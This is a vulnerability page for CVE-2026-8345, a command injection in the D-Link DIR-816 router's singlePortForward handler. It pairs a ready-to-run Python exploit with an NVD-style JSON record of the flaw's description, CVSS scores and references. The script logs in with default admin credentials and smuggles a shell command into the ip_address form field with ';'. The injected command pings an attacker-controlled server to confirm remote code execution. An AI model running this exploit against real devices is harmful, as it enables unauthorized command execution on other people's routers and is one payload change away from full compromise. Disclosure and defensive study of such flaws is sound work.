CVE-2026-8345

import requests # Target configuration target_ip = "192.168.0.1" target_url = f"http://{target_ip}/goform/singlePortForward" username = "admin" password = "admin" # Attacker's controlled server for verification (e.g., Burp Collaborator or netcat listener) attacker_server = "192.168.1.100" # The payload injects a command to ping the attacker's server # Shell metacharacter ';' is used to chain commands injection_payload = f"; ping -c 3 {attacker_server}" # Prepare the data payload data = { "ip_address": injection_payload, # Other form fields might be required depending on the page structure # "internal_port": "80", # "external_port": "8080", # "protocol": "tcp" } # Create a session to handle authentication session = requests.Session() # Step 1: Login (Simulated, actual endpoint may vary) login_url = f"http://{target_ip}/login.asp" login_data = {"username": username, "password": password} try: login_response = session.post(login_url, data=login_data, timeout=5) if login_response.status_code == 200: print("[+] Login successful") except: print("[-] Login failed or endpoint incorrect") # Step 2: Send Exploit try: response = session.post(target_url, data=data, timeout=5) print(f"[+] Exploit sent. Status Code: {response.status_code}") print(f"[+] Check {attacker_server} for incoming ping requests to verify RCE.") except Exception as e: print(f"[-] Exploit failed: {e}")

{"cve": {"id": "CVE-2026-8345", "sourceIdentifier": "[email protected]", "published": "2026-05-11T23:20:22.813", "lastModified": "2026-05-11T23:20:22.813", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in D-Link DIR-816 1.10CNB05_R1B011D88210. Affected by this issue is the function sub_445E7C of the file /goform/singlePortForward. Such manipulation of the argument ip_address leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://github.com/lipenghai/iot_bug/blob/main/D-Link/DIR816/2.md", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/811379", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362661", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362661/cti", "source": "[email protected]"}, {"url": "https://www.dlink.com/", "source": "[email protected]"}]}}